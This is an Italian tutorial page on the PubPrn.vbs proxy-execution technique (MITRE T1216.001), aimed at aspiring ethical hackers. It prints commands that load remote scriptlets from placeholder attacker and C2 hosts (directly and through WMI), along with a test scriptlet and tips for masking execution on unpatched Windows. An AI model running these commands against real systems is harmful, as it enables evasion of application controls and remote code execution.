PubPrn Proxy: System.Printing.IndexedProperties.PrintPropertyDictionary (T1216.001)

PubPrn.vbs rappresenta uno script Visual Basic firmato da Microsoft, originariamente progettato per pubblicare stampanti nei servizi Active Directory. La sua capacità di eseguire contenuti remoti attraverso il parametro script: lo rende particolarmente interessante per gli attaccanti che cercano di aggirare i controlli di sicurezza.

Questa tecnica si colloca nella tattica TA0005 (Defense Evasion), permettendo agli avversari di nascondere l'esecuzione di payload maligni dietro un processo legittimo e firmato. La firma Microsoft dello script garantisce che molte soluzioni di controllo applicazioni non lo blocchino automaticamente.

Attualmente 1 gruppo APT ha documentato l'utilizzo di questa tecnica nelle proprie operazioni. È importante notare che Microsoft ha aggiornato PubPrn.vbs nelle versioni più recenti di Windows 10+, limitando il protocollo accettato al solo LDAP:// per prevenire l'abuso tramite riferimenti HTTP(S) remoti.

L'esecuzione di PubPrn per caricare payload remoti richiede una comprensione precisa della sintassi e delle limitazioni delle diverse versioni Windows. Su sistemi pre-Windows 10, il comando base segue questa struttura:

cscript pubprn.vbs 127.0.0.1 script:https://attacker.com/payload.sct

Il primo parametro rappresenta l'indirizzo della stampante fittizia, mentre il secondo utilizza il moniker script: per referenziare un file scriptlet (.sct) ospitato remotamente. Lo scriptlet può contenere codice JavaScript o VBScript arbitrario che verrà eseguito nel contesto di cscript.exe.

Per verificare la vulnerabilità del sistema target, puoi prima testare con uno scriptlet benigno che semplicemente crea un file marker:

<?XML version="1.0"?>
<scriptlet>
<registration progid="TestSCT" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    var file = fso.CreateTextFile("C:\\temp\\pubprn_test.txt", true);
    file.WriteLine("PubPrn execution successful");
    file.Close();
]]>
</script>
</registration>
</scriptlet>

Su sistemi Windows 10 aggiornati, il tentativo di utilizzo del parametro script: genererà un errore. Dovrai identificare sistemi legacy o non patchati per sfruttare questa tecnica. Un approccio alternativo consiste nell'utilizzo di proxy locali per convertire richieste LDAP in HTTP, ma questo aumenta significativamente la complessità dell'attacco.

Per mascherare ulteriormente l'esecuzione, considera l'embedding del comando PubPrn all'interno di batch script o l'utilizzo tramite WMI:

wmic process call create "cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:https://c2server.com/stage2.sct"

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo

We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.